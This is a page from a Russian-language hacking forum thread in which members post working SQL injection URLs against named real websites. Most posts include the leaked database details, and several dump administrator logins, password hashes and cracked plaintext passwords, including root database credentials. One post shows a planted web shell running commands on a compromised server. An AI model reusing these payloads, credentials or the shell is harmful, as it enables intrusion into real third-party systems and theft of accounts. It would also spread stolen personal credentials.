SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 261 of 798
  1. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    hi-tech.mail.ru

    Code:
    http://hi-tech.mail.ru/?id=1027-1
http://hi-tech.mail.ru/?pr=6350-1
    Использовать не получилось, никак не выходит отсечь оставшуюся часть строки

    Это работает:
    http://hi-tech.mail.ru/?id=1026--

    А это уже нет:
    http://hi-tech.mail.ru/?id=1026-- LALALA

    Вариант с /* тоже не канает :(

    Может кто знает особенности mail.ru :)
     
    #5201 Qwazar, 5 Apr 2008
    Last edited: 5 Apr 2008
  2. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://gis35.ru/news/?nw_id=-1+union+select+1,concat(version(),char(58),database(),char(58),user()),3,4,5,6,7,8,9,10--

    выводится в <title>

    4.1.22-standard
    gis35ru_gisdb
    gis35ru_gisdbuse@localhost

    Таблицы подобрать не удалось(
     
    #5202 truelamer, 5 Apr 2008
  3. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://e.kostanay.kz/?cp=7&url=-1+union+select+table_name+from+information_schema.tables/*

    sega@localhost
    5.0.32-Debian_7etch4-log
    e-akimat

    только чего-то не могу я из этих таблиц извлеч имена полей в hex пробовал тоже не получается... если кто сделает просветите
     
    #5203 truelamer, 5 Apr 2008
    Last edited: 5 Apr 2008
  4. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.liter.kz/print.php?lan=russian&id=154&pub=-1+union+select+1,2,3,4,5,concat(version(),char(58),user(),char(58),database()),7,8,9,10,11,12/*

    5.0.45-community-nt
    liter
    liter@localhost

    http://www.liter.kz/print.php?lan=russian&id=154&pub=-1+union+select+1,2,3,4,5,concat(name,char(58),pass),7,8,9,10,11,12+from+noc+limit+0,1/*

    таблица с логинами и хэшами - noc
    root:d150dfc27d456cbcba88a10f71800b72
    dina:0bfd678c87231c95741ffb770a2a1a48
    viktor:55022818aa052f54aa703a373a067de3
    и.т.д.

    вот что удалось расшифровать с помощью http://md5.xek.cc/index.php
    root:rt1pwd
    viktor:archieve

    и.т.д.
     
    #5204 truelamer, 5 Apr 2008
    1 person likes this.
  5. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    хотел я зарегать домен maxster.ru,но не судьба, идет переадресация на www.100mat.ru, я решил им отомстить :\
    Code:
    http://www.100mat.ru/ubb/showthreaded.php?Cat=&Board=server&Number=-111+UNION+SELECT+1,2,concat_ws(0x3a,U_Username,U_password)+from+w3t_Users+where+/*
    .:[ Stylist ]:.:.$e3XHMmHqAco - это на форум
    Code:
    http://www.100mat.ru/ubb/showthreaded.php?Cat=&Board=server&Number=-111+UNION+SELECT+1,2,concat_ws(0x3a,user,password)+from+mysql.user/*
    root:vpsuG1271 - это от БД

    ну и самое вкусное
    Code:
    http://www.100mat.ru/ubb/shell1.php?cmd=uname -a
    1 2 FreeBSD mail.100mat.org.ru 5.4-RELEASE FreeBSD 5.4-RELEASE

    file_priv есть, кому интересно разгребайте
     
    #5205 maxster, 6 Apr 2008
    Last edited: 6 Apr 2008
  6. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    VERSION: 4.1.22-standard
    USER: root@localhost
    DATABASE: wsr

    VERSION: 5.0.22-log
    USER: [email protected]
    DATABASE: hockeycanada

    VERSION: 4.0.27-log
    USER: aaanyc@localhost
    DATABASE: aaanyc

    VERSION: 5.0.45-community
    USER: ocsausu_cmsd@localhost
    DATABASE: ocsausu_ausucms

    VERSION: 4.1.21-community-nt
    USER: dbmacmag@localhost
    DATABASE: mainamericancurvesmag

    VERSION: 5.0.46-enterprise-gpl-log
    USER: [email protected]
    DATABASE: ameri118
     
    #5206 cash$$$, 6 Apr 2008
  7. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://ubs-ua.com/rus/board/rub_notice31.php?pageNum_R1=5&totalRows_R1=549&kod_rubob=-41400+union+select+1,2,3,4,5,6,7,8,concat_ws(char(32),user(),version(),database())/*&type_ob=2

    ubs_biont@localhost
    4.1.22-standard-log
    ubs_base
     
    #5207 neon_fx, 6 Apr 2008
  8. .acme

    .acme Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    126
    Likes Received:
    36
    Reputations:
    4
    http://www.candw.lc/Media/news2.php?ID=-1+union+select+1,concat(username,0x3,password),3,4,5,6,7,8+from+users+limit+0,1--

    cwslu@localhostcwslu4.0.18-nt

    Админ: cwwebadmin
    Пасс:2gether
    Еще два юзера: cwmobileweb1 : all456tyc и ecommerce : 22team
     
    #5208 .acme, 6 Apr 2008
    1 person likes this.
  9. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.iiea.com/newsxtest.php?news_id=99999999+union+select+1,concat(user(),char(58),database(),char(58),version()),3,4,5,6,7,8+/*

    [email protected]
    institu_db
    5.0.45-community-log

    table:
    wp_users

    columns:
    ID
    user_login
    user_pass
    user_nicename
    user_email
    user_url
    user_registered



    admin:f165c973574a46835d36c560f4a97e2d

    расшифруем...

    admin:03cc18
     
    #5209 truelamer, 6 Apr 2008
  10. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://mqup.mcgill.ca/book.php?bookid=1'

    Скула 5 версии
    http://mqup.mcgill.ca/book.php?bookid=1+AND+lower(substring(version(),1,1))='5'

    подобрал одну таблицу чуть не умер


    http://mqup.mcgill.ca/book.php?bookid=1+AND+lower(substring((select+table_name+from+information_schema.tables+limit+17,1),1,1))='a'

    http://mqup.mcgill.ca/book.php?bookid=1+AND+lower(substring((select+table_name+from+information_schema.tables+limit+17,1),2,1))='u'
    .......

    http://mqup.mcgill.ca/book.php?bookid=1+AND+lower(substring((select+1+from+authors+limit+0,1),1,1))='1'

    Дальше обломило...

    сасибо xcedz
     
    #5210 truelamer, 6 Apr 2008
    1 person likes this.
  11. NilsonUA

    NilsonUA Elder - Старейшина

    Joined:
    25 Nov 2007
    Messages:
    18
    Likes Received:
    8
    Reputations:
    2
    Code:
    http://www.klsu.al/index.php?pg=faqe&id=-9999+union+all+select+  1,2,3,concat(user,char(58),pass,0x7c,0x7c),5,6+from+users--
     
    #5211 NilsonUA, 6 Apr 2008
  12. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    http://www.hdcu.org.uk/articles/article.php?ID=99999+union+select+VERSION(),2,3/*

    VERSION: 4.0.15-nt
    USER: emalone@localhost
    DATABASE: haghilldb

    http://www.thekingswaytoronto.ca/index.php?id=99999+union+select+1,VERSION(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*

    VERSION: 4.1.22-standard
    USER: yourcms_lynch@localhost
    DATABASE: yourcms_db

    http://www.cfenet.ubc.ca/content.php?id=99999+union+select+VERSION(),2,3,4,5,6,7,8,9,10,11,12,13/*

    VERSION: 4.1.22-log
    USER: fixate_fixate@localhost
    DATABASE: fixate_bcc

    http://www.ihrc.org.uk/show.php?id=99999+union+select+1,2,VERSION(),4,5,6,7,8,9,10,11,12,13/*

    VERSION: 4.0.27-standard-log
    USER: [email protected]
    DATABASE: db120565932
     
    #5212 cash$$$, 6 Apr 2008
    2 people like this.
  13. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.24abc.ru/xzakaz2.php?f_id=-1+union+select+1,concat(user(),char(58),version(),char(58),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*

    user24abc1@localhost
    5.0.24-standard
    db_user24abc1
     
    #5213 truelamer, 6 Apr 2008
    1 person likes this.
  14. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    http://www.terminalservice.ru/index.php?id=-32+union+select+0,1,2,3,4,5,concat(version(),0x3a,user(),0x3a,database()),7,8,9/*
    version - 4.0.25
    user - [email protected]
    database - wwwterminalservi
     
    #5214 -=megahertz=-, 6 Apr 2008
    3 people like this.
  15. BizzyD

    BizzyD Elder - Старейшина

    Joined:
    2 Jun 2007
    Messages:
    209
    Likes Received:
    118
    Reputations:
    0
    Code:
    http://www.classpad.org/details.php?id=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    classpaddb@localhost
    classpad_xmb2
    5.0.45-log
     
    #5215 BizzyD, 7 Apr 2008
  16. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    _http://www.analisi.ru/regulations.php?id=-1+union+select+1,concat_ws(CHAR(58),DATABASE(),USER(),VERSION()),3,4/*

    besplod9:[email protected]:4.0.27-max-log
     
    #5216 Fuckel, 7 Apr 2008
    2 people like this.
  17. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://danko.dn.ua/news.php?id=-17+union+select+1,concat_ws(char(58),version(),user(),database()),3/*&lang=ru
    5.1.22-rc
    root@localhost
    danko
    ----------------------------------------------------------------------
    http://danko.dn.ua/news.php?id=-17+union+select+1,concat_ws(char(58),user,Password),3+from+mysql.user/*&lang=ru
    root:*7827D3186CC7C1FF860E859079F1DBE1BB72A289

    //*******************************************

    http://www.newizv.ru/news/?id_news=-11675+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

    [email protected]
    u10605
    5.0.45
     
    #5217 neon_fx, 7 Apr 2008
    Last edited: 7 Apr 2008
  18. CaNNabi$

    CaNNabi$ Elder - Старейшина

    Joined:
    21 Jan 2008
    Messages:
    62
    Likes Received:
    110
    Reputations:
    0
    http://agun.kz/
    Code:
    http://agun.kz/?id=0x2d3127%20union+select+1,2,3,4,5,6,7,8,9,10/*
    4.1.22:alarko@localhost:wwwalarkokz


    http://gafgaf.ru/
    Code:
    http://gafgaf.ru/index.php?rid=0x2d3127%20union+select+1,2,3,4,5/*
    5.0.37-LOG:ALEXUSER_GAFGAF@LOCALHOST:ALEXUSER_GAFGAF


    http://www.wollemipine.sk/
    Code:
    http://www.wollemipine.sk/page.php?lang=ru&id=0x2d3127%20union+select+1,2,3,4,5,6/*
    4.1.21:[email protected]:db11330xwp

    by CaNNabi$
     
    #5218 CaNNabi$, 7 Apr 2008
    2 people like this.
  19. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    http://www.aei.brookings.org/publications/abstract.php?pid=296+UNION+SELECT+1,2,concat_ws(0x3A3a,user(),version(),database()),4,5,6,7/*

    PR-5

    [email protected]:
    :4.0.25-standard-log:
    :aei_brookings
    ________________________________________________________________________

    http://www.terntv.com/programmedetails.php?pid=-11+union+select+1,concat_ws(0x3A3a,version(),user(),database()),3,4,5,6/*

    4.1.22-standard:
    :[email protected]:
    :tern
    ________________________________________________________________________
    http://www.stjerome.co.uk/page.php?id=-508+union+select+concat_ws(0x3A3a,version(),database(),user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37/*


    PR-6

    4.1.20:
    :stjerome_new:
    :[email protected]

    Есть таблица user.В ней нашёл поле password. Имя подобрать не удалось. Админка: http://www.stjerome.co.uk/admin
    ________________________________________________________________________
     
    #5219 ThreeD, 7 Apr 2008
  20. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    MANHATTAN Technology With Vision
    http://www.manhattan-receivers.com/modules/articles/article.php?id=-1+union+select+1,2,3,4,version(),6,concat(database(),0x3a,user()),8,9,10,11,12,13,14,15,16,17,18,19,20/*
    version - 4.0.17-log
    user - [email protected]
    database - u10001203
     
    #5220 -=megahertz=-, 7 Apr 2008
    Last edited: 7 Apr 2008
(You must log in or sign up to post here.)
Page 261 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.